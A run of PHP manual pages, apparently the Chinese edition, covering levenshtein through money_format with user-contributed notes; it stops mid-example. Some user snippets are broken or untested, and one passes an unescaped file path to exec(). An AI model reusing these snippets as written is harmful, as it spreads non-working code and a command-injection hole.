genialbrainmachine at dot IHATESPAM dot tiscali dot it 26-Oct-2003 11:55
I wrote this function to have an "intelligent" comparison between data to be written in a DB
and already existent data. Not ony calculating distances but also balancing distances for
each field.
<?php
/*
This function calculate a balanced percentage distance between an array of strings
"$record" and a compared array "$compared", balanced through an array of
weights "$weight". The three arrays must have the same indices.
For an unbalanced distance, set all weights to 1.
The used formula is:
percentage distance = sum(field_levenshtein_distance * field_weight) / sum(record_field_length * field_weight) * 100
*/
function search_similar($record, $weights, $compared, $precision=2) {
         $field_names = array_keys($record);
         # "Weighted length" of $record and "weighted distance".
         foreach ($field_names as $field_key) {
                 $record_weight += strlen($record[$field_key]) * $weights[$field_key];
                 $weighted_distance += levenshtein($record[$field_key],$compared[$field_key]) * $weights[$field_key];
                 }
         # Building the result..
         if ($record_weight) {
             return round(($weighted_distance / $record_weight * 100),$precision);
            } elseif ((strlen(implode("",$record)) == 0) && (strlen(implode("",$compared)) == 0)) { // empty records
            return round(0,$precision);
            } elseif (array_sum($weights) == 0) { // all weights == 0
            return round(0,$precision);
            } else {
            return false;
            }
         /*
         Be very careful distinguising 0 result and false result.
         The function results 0 ('0.00' if $precision is 2 and so on) if:
         - $record and $compared are equals (even if $record and $compared are empty);
         - all weights are 0 (the meaning could be "no care about any field").
         Conversely, the function results false if $record is empty, but the weights
         are not all 0 and $compared is not empty. That cause a "division by 0" error.
         I wrote this kind of check:

         if ($rel_dist = search_similar(...)) {
             print $rel_dist;
            } elseif ($rel_dist == "0.00") { // supposing that $precision is 2
            print $rel_dist;
            } else {
            print "infinite";
            }

         */
         }
?>
jlsalinas at gmx dot net 25-Oct-2003 07:28
Regarding the post by fgilles on April 26th 2001, I suggest not to use levenshtein() function to test for over-uppercasing unless you've got plenty of time to waste in your host. ;) Anyhow, I think it's a useful feature, as I get really annoyed when reading whole messages in uppercase.

PHP's levenshtein() function can only handle up to 255 characters, which is not realistic for user input (only the first paragraph oh this post has 285 characters). If you choose to use a custom function able to handle more than 255 characters, efficiency is an important issue.

I use this function, specific for this case, but much faster:

function ucase_percent ($str) {
    $str2 = strtolower ($str);

    $l = strlen ($str);
    $ucase = 0;

    for ($i = 0; $i < $l; $i++) {
        if ($str{$i} != $str2{$i}) {
            $ucase++;
        }
    }

    return $ucase / $l * 100.0;
}

I think 10% is enough for written English (maybe other languages like German, which use more capital letters, need more). With some sentencies in uppercase (everybody has the right to shout occasionally), 20% would be enough; so I use a threshold of 30%. When exceeded, I lowercase the whole message.

Hope you find it useful and it helps keeping the web free of ill-mannered people.
inerte is my hotmail.com username 11-Jul-2003 10:22
I am using this function to avoid duplicate information on my client's database.

After retrieving a series of rows and assigning the results to an array values, I loop it with foreach comparing its levenshtein() with the user supplied string.

It helps to avoid people re-registering "John Smith", "Jon Smith" or "Jon Smit".

Of course, I can't block the operation if the user really wants to, but a suggestion is displayed along the lines of: "There's a similar client with this name.", followed by the list of the similar strings.
bisqwit at iki dot fi 12-Aug-2002 07:43
At the time of this manual note the user defined thing
in levenshtein() is not implemented yet. I wanted something
like that, so I wrote my own function. Note that this
doesn't return levenshtein() difference, but instead
an array of operations to transform a string to another.

Please note that the difference finding part (resync)
may be extremely slow on long strings.

<?php

/* matchlen(): returns the length of matching
 * substrings at beginning of $a and $b
 */
function matchlen(&$a, &$b)
{
  $c=0;
  $alen = strlen($a);
  $blen = strlen($b);
  $d = min($alen, $blen);
  while($a[$c] == $b[$c] && $c < $d)
    $c++;
  return $c;
}

/* Returns a table describing
 * the differences of $a and $b */
function calcdiffer($a, $b)
{
  $alen = strlen($a);
  $blen = strlen($b);
  $aptr = 0;
  $bptr = 0;

  $ops = array();

  while($aptr < $alen && $bptr < $blen)
  {
    $matchlen = matchlen(substr($a, $aptr), substr($b, $bptr));
    if($matchlen)
    {
      $ops[] = array('=', substr($a, $aptr, $matchlen));
      $aptr += $matchlen;
      $bptr += $matchlen;
      continue;
    }
    /* Difference found */

    $bestlen=0;
    $bestpos=array(0,0);
    for($atmp = $aptr; $atmp < $alen; $atmp++)
    {
      for($btmp = $bptr; $btmp < $blen; $btmp++)
      {
        $matchlen = matchlen(substr($a, $atmp), substr($b, $btmp));
        if($matchlen>$bestlen)
        {
          $bestlen=$matchlen;
          $bestpos=array($atmp,$btmp);
        }
        if($matchlen >= $blen-$btmp)break;
      }
    }
    if(!$bestlen)break;

    $adifflen = $bestpos[0] - $aptr;
    $bdifflen = $bestpos[1] - $bptr;

    if($adifflen)
    {
      $ops[] = array('-', substr($a, $aptr, $adifflen));
      $aptr += $adifflen;
    }
    if($bdifflen)
    {
      $ops[] = array('+', substr($b, $bptr, $bdifflen));
      $bptr += $bdifflen;
    }
    $ops[] = array('=', substr($a, $aptr, $bestlen));
    $aptr += $bestlen;
    $bptr += $bestlen;
  }
  if($aptr < $alen)
  {
    /* b has too much stuff */
    $ops[] = array('-', substr($a, $aptr));
  }
  if($bptr < $blen)
  {
    /* a has too little stuff */
    $ops[] = array('+', substr($b, $bptr));
  }
  return $ops;
}

Example:

$tab = calcdiffer('T?m? on jonkinlainen testi',
                  'T?m? ei ole mink??nlainen testi.');
$ops = array('='=>'Ok', '-'=>'Remove', '+'=>'Add');
foreach($tab as $k)
  echo $ops[$k[0]], " '", $k[1], "'\n";

Example output:

Ok 'T?m? '
Remove 'on jonki'
Add 'ei ole mink??'
Ok 'nlainen testi'
Add '.'
11-Apr-2002 06:57
For spell checking applications, delay could be tolerable if you assume the typist got the first two or three chars of each word right.  Then you'd only need to calc distances for a small segment of the dictionary.  This is a compromise but one I think a lot of spell checkers make.
For an example of site search using this function look at the PHP manual search button on this page.  It appears to be doing this for the PHP function list.
fgilles at free dot fr 26-Apr-2001 01:32
Exempla of use for a forum: users can't post messages too much uppercased

<?php
if ((strlen($subject)>10) and ( ( levenshtein ($subject, strtolower ($subject) / strlen ($subject) ) > .3 ) ){
    $subject = strtolower($subject);
}
?>
dschultz at protonic dot com 10-Aug-2000 09:01
It's also useful if you want to make some sort of registration page and you want to make sure that people who register don't pick usernames that are very similar to their passwords.
ad1n at dc dot uba dot ar 04-Aug-2000 05:01
One application of this is when you want to look for a similar match instead of an exact one. You can sort the results of checking the distances of a word to a dictionary and sort them to see which were the more similar ones. Of course it will be a quite resourse consuming task anyway.


Get numeric formatting information

  • ? levenshtein
  • ltrim ?
  • PHP Manual
  • 字符串 函数
  • Get numeric formatting information

localeconv

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

localeconv — Get numeric formatting information

说明

localeconv(): array

Returns an associative array containing localized numeric and monetary formatting information.

参数

此函数没有参数。

返回值

localeconv() returns data based upon the current locale as set by setlocale(). The associative array that is returned contains the following fields:

Array element | Description
decimal_point | Decimal point character
thousands_sep | Thousands separator
grouping | Array containing numeric groupings
int_curr_symbol | International currency symbol (i.e. USD)
currency_symbol | Local currency symbol (i.e. $)
mon_decimal_point | Monetary decimal point character
mon_thousands_sep | Monetary thousands separator
mon_grouping | Array containing monetary groupings
positive_sign | Sign for positive values
negative_sign | Sign for negative values
int_frac_digits | International fractional digits
frac_digits | Local fractional digits
p_cs_precedes | true if currency_symbol precedes a positive value, false if it succeeds one
p_sep_by_space | true if a space separates currency_symbol from a positive value, false otherwise
n_cs_precedes | true if currency_symbol precedes a negative value, false if it succeeds one
n_sep_by_space | true if a space separates currency_symbol from a negative value, false otherwise
p_sign_posn
  • 0 - Parentheses surround the quantity and currency_symbol
  • 1 - The sign string precedes the quantity and currency_symbol
  • 2 - The sign string succeeds the quantity and currency_symbol
  • 3 - The sign string immediately precedes the currency_symbol
  • 4 - The sign string immediately succeeds the currency_symbol
n_sign_posn
  • 0 - Parentheses surround the quantity and currency_symbol
  • 1 - The sign string precedes the quantity and currency_symbol
  • 2 - The sign string succeeds the quantity and currency_symbol
  • 3 - The sign string immediately precedes the currency_symbol
  • 4 - The sign string immediately succeeds the currency_symbol

The p_sign_posn, and n_sign_posn contain a string of formatting options. Each number representing one of the above listed conditions.

The grouping fields contain arrays that define the way numbers should be grouped. For example, the monetary grouping field for the nl_NL locale (in UTF-8 mode with the euro sign), would contain a 2 item array with the values 3 and 3. The higher the index in the array, the farther left the grouping is. If an array element is equal to CHAR_MAX, no further grouping is done. If an array element is equal to 0, the previous element should be used.

示例

Example #1 localeconv() example

<?php
if (false !== setlocale(LC_ALL, 'nl_NL.UTF-8@euro')) {
$locale_info = localeconv();
print_r($locale_info);
}
?>

以上示例会输出：

Array
(
    [decimal_point] => .
    [thousands_sep] =>
    [int_curr_symbol] => EUR
    [currency_symbol] => �
    [mon_decimal_point] => ,
    [mon_thousands_sep] =>
    [positive_sign] =>
    [negative_sign] => -
    [int_frac_digits] => 2
    [frac_digits] => 2
    [p_cs_precedes] => 1
    [p_sep_by_space] => 1
    [n_cs_precedes] => 1
    [n_sep_by_space] => 1
    [p_sign_posn] => 1
    [n_sign_posn] => 2
    [grouping] => Array
        (
        )

    [mon_grouping] => Array
        (
            [0] => 3
            [1] => 3
        )

)

参见

  • setlocale() - 设置区域信息

User Contributed Notes

verdy_p at wanadoo dot fr 22-Jul-2001 07:13
The C99 standard modified slightly the definition of the international currency symbol, which is now 4 characters long instead of 3 in previous definitions. The fourth character will most often be an ASCII space, but its effective value is the locale-specific spacing character used for numeric grouping (i.e. the one refered by [sep_by_space] and [grouping])...


删除字符串开头的空白字符（或其他字符）

  • ? localeconv
  • md5_file ?
  • PHP Manual
  • 字符串 函数
  • 删除字符串开头的空白字符（或其他字符）

ltrim

(PHP 4, PHP 5, PHP 7, PHP 8)

ltrim — 删除字符串开头的空白字符（或其他字符）

说明

ltrim(string $string, string $characters = " \n\r\t\v\x00"): string

删除字符串开头的空白字符（或其他字符）

参数

string

输入的字符串。

characters

通过参数 characters，你也可以指定想要删除的字符，简单地列出你想要删除的所有字符即可。使用..，可以指定字符的范围。

返回值

该函数返回一个删除了 string 最左边的空白字符的字符串。 如果不使用第二个参数， ltrim() 仅删除以下字符：

  • " " (ASCII 32 (0x20))，普通空白字符。
  • "\t" (ASCII 9 (0x09))， 制表符.
  • "\n" (ASCII 10 (0x0A))，换行符。
  • "\r" (ASCII 13 (0x0D))，回车符。
  • "\0" (ASCII 0 (0x00))， NUL空字节符。
  • "\v" (ASCII 11 (0x0B))，垂直制表符。

示例

Example #1 ltrim()的使用示例

<?php

$text = "\t\tThese are a few words :) ... ";
$binary = "\x09Example string\x0A";
$hello = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = ltrim($text);
var_dump($trimmed);

$trimmed = ltrim($text, " \t.");
var_dump($trimmed);

$trimmed = ltrim($hello, "Hdle");
var_dump($trimmed);

// 删除 $binary 开头的 ASCII 控制字符
// (从 0 到 31，包括 0 和 31)
$clean = ltrim($binary, "\x00..\x1F");
var_dump($clean);

?>

以上示例会输出：

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(30) "These are a few words :) ...  "
string(30) "These are a few words :) ...  "
string(7) "o World"
string(15) "Example string
"

参见

  • trim() - 去除字符串首尾处的空白字符（或者其他字符）
  • rtrim() - 删除字符串末端的空白字符（或者其他字符）

User Contributed Notes

Mauro 30-Nov-2017 01:36
I noticed one thing.

Suppose you have to ltrim zeroes from strings like "015", "002", etc. and convert them back to numbers, eg. using intval.

Suppose you must convert to number "000" too.

In this case:

$trimmedString = ltrim('000', '0');

the value of $trimmedString would be NULL (and I think the docs should mention this).

Anyway, I initially thought I had to conditional check for this '000', but I found that intval(NULL) returns 0 (this thing is not in the docs of intval but is in a comment)
tavi undersc 10 from yahoocom 29-Oct-2015 10:11
When using a $character_mask the trimming stops at the first character that is not on that mask.

So in the $string = "Hello world" example with $character_mask = "Hdle", ltrim($hello, $character_mask) goes like this:
1. Check H from "Hello world" => it is in the $character_mask, so remove it
2. Check e from "ello world" => it is in the $character_mask, so remove it
3. Check l from "llo world" => it is in the $character_mask, so remove it
4. Check l from "lo world" => it is in the $character_mask, so remove it
5. Check o from "o world" => it is NOT in the $character_mask, exit the function

Remaining string is "o world".

I hope it helps someone as I had a confusing moment with this function.
mroeling at exed dot nl 08-Apr-2014 10:33
@scion4581

The problem is that the character mask (_stw in your case) isn't a literal string, but a character collection. So all characters within _stw are stripped. In your case this includes the w of weight also.
juan at ecogomera dot com 10-Dec-2013 09:55
+=0 not valid for something like 0000-5. Result is 0
dzek dot remove_this at dzek dot eu 25-Jul-2011 01:27
Guys, if += 0 is producing wrong values sometimes, and preg_replace is cpu consuming, then just stick to the main function described on that page, and use:
<?php
$value = ltrim($value, '0');
?>
should be the fastest and most reliable.
I think all those comments can be misleading for begginers checking this page - it's sort of using magic tricks to reinvent the wheel.
Mike 08-Jan-2011 12:03
Keep in mind the amount of resources preg_replace() uses.
I would suggest a simple if statement if you need to parse through large amounts of data.
<?php
function remove_leading_zeros_from_number($number_string) {
  $limit = 9000.1
  $temp = $number
  (float) $temp;
  if ($number < $limit) {
    $number += 0;
  } else {
    preg_replace('~^[0]*([1-9][0-9]*)$~','$1',$number_string)
  }
}
?>

Code is untested, but probably sound.
Usamah M dot Ali (usamah1228 at gmail dot com) 04-Feb-2008 02:42
For those who use right-to-left languages such as Arabic, Hebrew, etc., it's worth mentioning that ltrim() (which stands for left trim) & rtrim() (which stands for right trim) DO NOT work contextually. The nomenclature is rather semantically incorrect. So in an RTL script, ltrim() will trim text from the right direction (i.e. beginning of RTL strings), and rtrim() will trim text from the left direction (i.e. end of RTL strings).
John Sherwood 06-Aug-2006 12:13
To remove leading/trailing zeroes (example: "0123.4560"), doing a += 0 is easier than trim tricks.


计算指定文件的 MD5 散列值

  • ? ltrim
  • md5 ?
  • PHP Manual
  • 字符串 函数
  • 计算指定文件的 MD5 散列值

md5_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

md5_file — 计算指定文件的 MD5 散列值

说明

md5_file(string $filename, bool $binary = false): string|false

使用 » RSA 数据安全公司的 MD5 消息摘要算法 计算 filename 参数指定的文件的 MD5 散列值，并返回该散列值。 该散列值是 32 字符的十六进制数。

参数

filename

文件名

binary

为 true 时，返回 16 字符长度的原始二进制格式的摘要。

返回值

成功返回字符串，否则返回 false。

示例

Example #1 md5_file() 使用示例

<?php
$file = 'php-5.3.0alpha2-Win32-VC9-x64.zip';

echo 'MD5 file hash of ' . $file . ': ' . md5_file($file);
?>

参见

  • md5() - 计算字符串的 MD5 散列值
  • sha1_file() - 计算文件的 sha1 散列值
  • crc32() - 计算一个字符串的 crc32 多项式

User Contributed Notes

lukasamd at gmail dot com 14-Feb-2012 10:35
It's faster to use md5sum than openssl md5:

<?php
$begin = microtime(true);

$file_path = '../backup_file1.tar.gz';
$result = explode("  ", exec("md5sum $file_path"));
echo "Hash = ".$result[0]."<br />";

# Here 7 other big files (20-300 MB)

$end = microtime(true) - $begin;
echo "Time = $end";
# Time = 4.4475841522217

#Method with openssl
# Time = 12.1463856900543
?>

About 3x faster
Chris 08-Nov-2009 07:24
If you just need to find out if two files are identical, comparing file hashes can be inefficient, especially on large files.  There's no reason to read two whole files and do all the math if the second byte of each file is different.  If you don't need to store the hash value for later use, there may not be a need to calculate the hash value just to compare files.  This can be much faster:

<?php
define('READ_LEN', 4096);

if(files_identical('file1.txt', 'file2.txt'))
    echo 'files identical';
else
    echo 'files not identical';

//   pass two file names
//   returns TRUE if files are the same, FALSE otherwise
function files_identical($fn1, $fn2) {
    if(filetype($fn1) !== filetype($fn2))
        return FALSE;

    if(filesize($fn1) !== filesize($fn2))
        return FALSE;

    if(!$fp1 = fopen($fn1, 'rb'))
        return FALSE;

    if(!$fp2 = fopen($fn2, 'rb')) {
        fclose($fp1);
        return FALSE;
    }

    $same = TRUE;
    while (!feof($fp1) and !feof($fp2))
        if(fread($fp1, READ_LEN) !== fread($fp2, READ_LEN)) {
            $same = FALSE;
            break;
        }

    if(feof($fp1) !== feof($fp2))
        $same = FALSE;

    fclose($fp1);
    fclose($fp2);

    return $same;
}
?>
smartin 12-Mar-2008 04:58
In response to using exec instead for performance (Nov 13 2007 post), It looks like the performance depends on the size of the file.  See the results below using the same script from the original post.  The first hash is with md5_file and the second is with openssl md5.

With a 1MB file:
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.005006
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.01498

With a 2MB file:

Hash = 4387904830a4245a8ab767e5937d722c; time = 0.010393
Hash = 4387904830a4245a8ab767e5937d722c; time = 0.016691

With a 10MB file:

Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.241907
Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.037597

Performance seems to change proportionally with the file size.  Judging from the previous post's default file name (.mov) he/she was probably dealing with a large file.  These are just quick tests and far from a perfect benchmark, but you might want to test your own files before assuming that the openssl solution is faster (ie, if working with small text files vs. movies, etc)
potsed [at] gmail [dot] com 27-May-2007 04:12
Heres a function to give an md5 for an entire directory..

function MD5_DIR($dir)
{
    if (!is_dir($dir))
    {
        return false;
    }

    $filemd5s = array();
    $d = dir($dir);

    while (false !== ($entry = $d->read()))
    {
        if ($entry != '.' && $entry != '..')
        {
             if (is_dir($dir.'/'.$entry))
             {
                 $filemd5s[] = MD5_DIR($dir.'/'.$entry);
             }
             else
             {
                 $filemd5s[] = md5_file($dir.'/'.$entry);
             }
         }
    }
    $d->close();
    return md5(implode('', $filemd5s));
}
richard at interlink dot com dot au 16-Nov-2004 12:57
For those of you with PHP 4 that want to output the "raw" 128 bit hash, all you need to do is send it to pack to convert the hex string into the raw output.

ie:
$filename="checkthisfile.bin";
$rawhash=pack("H*",md5_file($filename));


计算字符串的 MD5 散列值

  • ? md5_file
  • metaphone ?
  • PHP Manual
  • 字符串 函数
  • 计算字符串的 MD5 散列值

md5

(PHP 4, PHP 5, PHP 7, PHP 8)

md5 — 计算字符串的 MD5 散列值

Warning

由于此函数依赖的算法已不足够复杂,不推荐使用此函数对明文密码加密。详细内容参见 这里。

说明

md5(string $string, bool $binary = false): string

使用 » RSA 数据安全公司的 MD5 消息摘要算法 计算 string 的 MD5 散列值，并返回该散列值。

参数

string

要计算的字符串。

binary

如果可选的 binary 被设置为 true，那么 md5 摘要将以 16 字符长度的原始二进制格式返回。

返回值

以 32 字符的十六进制数形式返回散列值。

示例

Example #1 md5() 示例

<?php
$str = 'apple';

if (md5($str) === '1f3870be274f6c49b3e31a0c6728957f') {
echo "Would you like a green or red apple?";
}
?>

参见

  • md5_file() - 计算指定文件的 MD5 散列值
  • sha1_file() - 计算文件的 sha1 散列值
  • crc32() - 计算一个字符串的 crc32 多项式
  • sha1() - 计算字符串的 sha1 散列值
  • hash() - 生成散列值（消息摘要）
  • crypt() - 单向字符串散列
  • password_hash() - 创建密码的散列（hash）

User Contributed Notes

yiminrong at yahoo dot ca 02-Feb-2021 01:37
Regarding Ray Paseur's comment, the strings hash to:

0e462097431906509019562988736854
0e830400451993494058024219903391

The odds of getting a hash exactly matching the format /^0+e[0-9]+$/ are not high but are also not negligible.

It should be added as a general warning for all hash functions to always use the triple equals === for comparison.

Actually, the warning should be in the operators section when comparing string values! There are lots of warnings about string comparisons, but nothing specific about the format /^0+e[0-9]+$/.
Steve M 10-Jan-2020 02:20
I've found multiple sites suggesting the code:

md5(file_get_contents($filename));

Until recently, I hadn't noticed any issues with this locally... but then I tried to hash a 700MB file, with a 2048MB memory limit and kept getting out of memory errors...

There appears to be a limit to how long a string the md5() function can handle, and the alternative function is likely more memory efficient anyway. I would highly recommend to all who need file hashing (for detecting duplicates, not security digests) use the md5_file() function and NOT the regular string md5() function!

md5_file($filename);

Note, to those interested, as this was for a local application not a server, I was more concerned with results than memory efficiency. In a live environment, you would never want to read an entire file into memory at once when avoidable. (at the time of coding, I did not know of the alternative function)
Ray.Paseur sometimes uses Gmail 01-Dec-2018 05:10
md5('240610708') == md5('QNKCDZO')

This comparison is true because both md5() hashes start '0e' so PHP type juggling understands these strings to be scientific notation.  By definition, zero raised to any power is zero.
hkmaly 27-Nov-2017 10:11
Note: Before you get some idea like using md5 with password as way to prevent others tampering with message, read pages "Length extension attack" and "Hash-based message authentication code" on wikipedia. In short, naive constructions can be dangerously insecure. Use hash_hmac if available or reimplement HMAC properly without shortcuts.
radon8472 at radon-software dot net 18-Apr-2016 02:10
<?php
    function raw2hex($rawBinaryChars)
    {
      return = array_pop(unpack('H*', $rawBinaryChars));
    }
?>

The complement of hey2raw.
You can use to convert from raw md5-format to human-readable format.

This can be usefull to check "Content-Md5" HTTP-Header.

<?php
  $rawMd5    = base64_decode($_SERVER['HTTP_CONTENT_MD5']);
  $post_data = file_get_contents("php://input");

  if(raw2hex($rawMd5) == md5($post_data)) // Post-Data is okay
  else                                    // Post-Data is currupted
?>
John 17-Nov-2009 03:08
If you want to hash a large amount of data you can use the hash_init/hash_update/hash_final functions.

This allows you to hash chunks/parts/incremental or whatever you like to call it.
Shane Allen 14-Apr-2003 08:53
From the documentation on Digest::MD5:
md5($data,...)
This function will concatenate all arguments, calculate the MD5 digest of this "message", and return it in binary form.

md5_hex($data,...)
Same as md5(), but will return the digest in hexadecimal form.

PHP's function returns the digest in hexadecimal form, so my guess is that you're using md5() instead of md5_hex(). I have verified that md5_hex() generates the same string as PHP's md5() function.

(original comment snipped in various places)
>Hexidecimal hashes generated with Perl's Digest::MD5 module WILL
>NOT equal hashes generated with php's md5() function if the input
>text contains any non-alphanumeric characters.
>
>$phphash = md5('pa$$');
>echo "php original hash from text: $phphash";
>echo "md5 hash from perl: " . $myrow['password'];
>
>outputs:
>
>php original hash from text: 0aed5d740d7fab4201e885019a36eace
>hash from perl: c18c9c57cb3658a50de06491a70b75cd


Calculate the metaphone key of a string

  • ? md5
  • money_format ?
  • PHP Manual
  • 字符串 函数
  • Calculate the metaphone key of a string

metaphone

(PHP 4, PHP 5, PHP 7, PHP 8)

metaphone — Calculate the metaphone key of a string

说明

metaphone(string $string, int $max_phonemes = 0): string

Calculates the metaphone key of string.

Similar to soundex() metaphone creates the same key for similar sounding words. It's more accurate than soundex() as it knows the basic rules of English pronunciation. The metaphone generated keys are of variable length.

Metaphone was developed by Lawrence Philips <lphilips at verity dot com>. It is described in ["Practical Algorithms for Programmers", Binstock & Rex, Addison Wesley, 1995].

参数

string

The input string.

max_phonemes

This parameter restricts the returned metaphone key to max_phonemes characters in length. However, the resulting phonemes are always transcribed completely, so the resulting string length may be slightly longer than max_phonemes. The default value of 0 means no restriction.

返回值

Returns the metaphone key as a string.

更新日志

版本 | 说明
8.0.0 | The function returned false on failure.

示例

Example #1 metaphone() basic example

<?php
var_dump(metaphone('programming'));
var_dump(metaphone('programmer'));
?>

以上示例会输出：

string(7) "PRKRMNK"
string(6) "PRKRMR"

Example #2 Using the max_phonemes parameter

<?php
var_dump(metaphone('programming', 5));
var_dump(metaphone('programmer', 5));
?>

以上示例会输出：

string(5) "PRKRM"
string(5) "PRKRM"

Example #3 Using the max_phonemes parameter

In this example, metaphone() is advised to produce a string of five characters, but that would require to split the final phoneme ('x' is supposed to be transcribed to 'KS'), so the function returns a string with six characters.

<?php
var_dump(metaphone('Asterix', 5));
?>

以上示例会输出：

string(6) "ASTRKS"

User Contributed Notes

isloera at usedformyjunk dot com 27-Sep-2014 06:46
I changed my domain so the code for spanish_methaphone  is here

http://www.ojocaliente.net/spanish_metaphone.php

Please update the link ;-)
isloera at usedformyjunk dot com 27-Sep-2014 06:46
I changed my domain so the code for spanish_methaphone  is here

http://www.ojocaliente.net/spanish_metaphone.php

Please update the link ;-)
Ray.Paseur often uses Gmail 14-Jun-2013 01:03
Metaphone() apparently ignores non-English characters.  Comparing Pla?e TO Place yields "PL" and "PLS."  A similar result comes from soundex().
Vipindas K.S 09-May-2008 09:49
metaphone
=======================
The metaphone() function can be used for spelling applications.This function returns the metaphone key of the string on success, or FALSE on failure.Its main use is when you are searching a genealogy database. check to see if a metaphone search is offered. It is also useful in making/searching family tree.
Given below is a simple code that calculates and compares two strings to find whether its metaphone codes are equivalent.

html code
==========
<html>
<body>
<form action="test.php" name="test" method="get">
Name1:<input type="text" name="name1" /><br />
Name2:<input type="text" name="name2" /><br />
<input type="submit" name="submit" value="compare" />
</form>

<!--php code begins here -->

<?php
if(isset($_GET['submit']))
{
$str1 = $_GET['name1'];
$str2 = $_GET['name2'];
$meta_one=metaphone($str1);
$meta_two=metaphone($str2);
echo "metaphone code for ".$str1." is ". $meta_one;
echo "<br />";
echo "metaphone code for ".$str2." is ". $meta_two."<br>";
if($meta_one==$meta_two)
{
echo "metaphone codes are matching";
}
else
{
echo "metaphone codes are not matching";
}
}
?>

</body>
</html>

Metaphone  algorithm was developed by Lawrence Philips.

Lawrence Philips' RULES follow:

 The 16 consonant sounds:
                                             |--- ZERO represents "th"
                                             |
      B  X  S  K  J  T  F  H  L  M  N  P  R  0  W  Y

 Exceptions:

   Beginning of word: "ae-", "gn", "kn-", "pn-", "wr-"  ----> drop first letter
                      "Aebersold", "Gnagy", "Knuth", "Pniewski", "Wright"

   Beginning of word: "x"                                ----> change to "s"
                                      as in "Deng Xiaopeng"

   Beginning of word: "wh-"                              ----> change to "w"
                                      as in "Whalen"

 Transformations:

   B ----> B      unless at the end of word after "m", as in "dumb", "McComb"

   C ----> X      (sh) if "-cia-" or "-ch-"
           S      if "-ci-", "-ce-", or "-cy-"
                  SILENT if "-sci-", "-sce-", or "-scy-"
           K      otherwise, including in "-sch-"

   D ----> J      if in "-dge-", "-dgy-", or "-dgi-"
           T      otherwise

   F ----> F

   G ---->        SILENT if in "-gh-" and not at end or before a vowel
                            in "-gn" or "-gned"
                            in "-dge-" etc., as in above rule
           J      if before "i", or "e", or "y" if not double "gg"
           K      otherwise

   H ---->        SILENT if after vowel and no vowel follows
                         or after "-ch-", "-sh-", "-ph-", "-th-", "-gh-"
           H      otherwise

   J ----> J

   K ---->        SILENT if after "c"
           K      otherwise

   L ----> L

   M ----> M

   N ----> N

   P ----> F      if before "h"
           P      otherwise

   Q ----> K

   R ----> R

   S ----> X      (sh) if before "h" or in "-sio-" or "-sia-"
           S      otherwise

   T ----> X      (sh) if "-tia-" or "-tio-"
           0      (th) if before "h"
                  silent if in "-tch-"
           T      otherwise

   V ----> F

   W ---->        SILENT if not followed by a vowel
           W      if followed by a vowel

   X ----> KS

   Y ---->        SILENT if not followed by a vowel
           Y      if followed by a vowel

   Z ----> S
php at casadebender dot com 27-Mar-2008 10:24
A double metaphone pecl module is available: http://pecl.php.net/package/doublemetaphone
mail at spam-off dot iaindooley dot com 16-Jan-2004 12:37
you can use the metaphone function quite effectively with phrases by taking the levenshtein distances between two metaphone codes, and then taking this as a percentage of the length of the original metaphone code. thus you can define a percentage error, (say 20%) and accept only matches that are closer than that. i've found this works quite effectively in a function i am using on my website where an album name that the user entered is verified against existing album names that may be similar. this is also an excellent way of people being able to vaguely remember a phrase and get several suggestions out of the database. so you could type "i stiched nine times" with an error percentage of, say, 50 and still get 'a stitch in time saves nine' back as a match.


将数字格式化成货币字符串

  • ? metaphone
  • nl_langinfo ?
  • PHP Manual
  • 字符串 函数
  • 将数字格式化成货币字符串

money_format

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

money_format — 将数字格式化成货币字符串

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

money_format(string $format, float $number): string

money_format() 返回格式化好的 number 版本。 此函数包装了 C 函数库中的 strfmon()，不同之处是：此实现每次只能转化一个数字。

参数

format

格式字符串由以下几部分组成：

  • 单个 % 字符

  • 可选的标记（flags）

  • 可选的字段宽度

  • 可选的，左侧精度

  • 可选的，右侧精度

  • 必选的，单个转化字符

标记(Flags)

可选多个标记，分别是：

=f

字符：=，并紧跟一个字符（单字节） f，用于数字填充。默认的填充字符是空格。

^

禁用分组字符（比如金额中的逗号。在本地区域设置 locale 中定义）。

+ or (

正负数字的格式。使用 +，将使用区域设置（locale）中相当于 + 和 - 的符号。 如果使用 (，负数将被圆括号围绕。不设置的话，默认为 +。

!

不输出货币符号（比如 ￥）。

-

有这个符号的时候，将使字段左对齐（填充到右边），默认是相反的，是右对齐的（填充到左边）。

字段宽度

w

十进制数值字符串的宽度。字段将右对齐，除非使用了 - 标记。默认值 0。

左侧精度

#n

小数字符（比如小数点）前的最大位数 (n)。 常用于同一列中的格式对齐。 如果位数小于 n 则使用填充字符填满。 如果实际位数大于 n，此设置将被忽略。

如果没用 ^ 标识禁用分组，分组分隔符会在添加填充字符之前插入（如果有的话）。 分组分隔符不会应用到填充字符里，哪怕填充字符是个数字。

为了保证对齐，出现在之前或者之后的字符，都会填充必要的空格，保证正负情况下长度都一样。

右侧精度

.p

小数点后的一段数字 (p)。 如果 p 的值是 0（零），小数点右侧的数值将被删除。 如果不使用这个标记，默认展现取决于当前的区域设置。 小数点后指定位数的数字，四舍五入格式化。

转化字符

i

根据国际化区域设置中的货币格式，格式化数值。（比如，locale 是 USA：USD 1,234.56）。

n

根据国际化区域设置中国家的货币格式，格式化数值。（比如，locale 是 de_DE：EU1.234,56）。

%

返回字符 %。

number

需要格式化的数字。

返回值

返回格式化后的字符。格式字符串前后的字符将原封不动返回。 传入的 number 如果不是数字，将返回 null 并且产生 E_WARNING。

更新日志

版本 | 说明
7.4.0 | 弃用此函数。使用 NumberFormatter::formatCurrency() 替代。

示例

Example #1 money_format() 例子

使用不同的 locale 和格式字符串，来说明此函数的用法。

<?php

$number = 1234.56;

// 让我们打印 en_US locale 的国际化格式
setlocale(LC_MONETARY, 'en_US');
echo money_format('%i', $number) . "\n";
// USD 1,234.56

// 意大利国家的格式，带两位浮点小数`
setlocale(LC_MONETARY, 'it_IT');
echo money_format('%.2n', $number) . "\n";
// Eu 1.234,56

// 负数的使用
$number = -1234.5672;

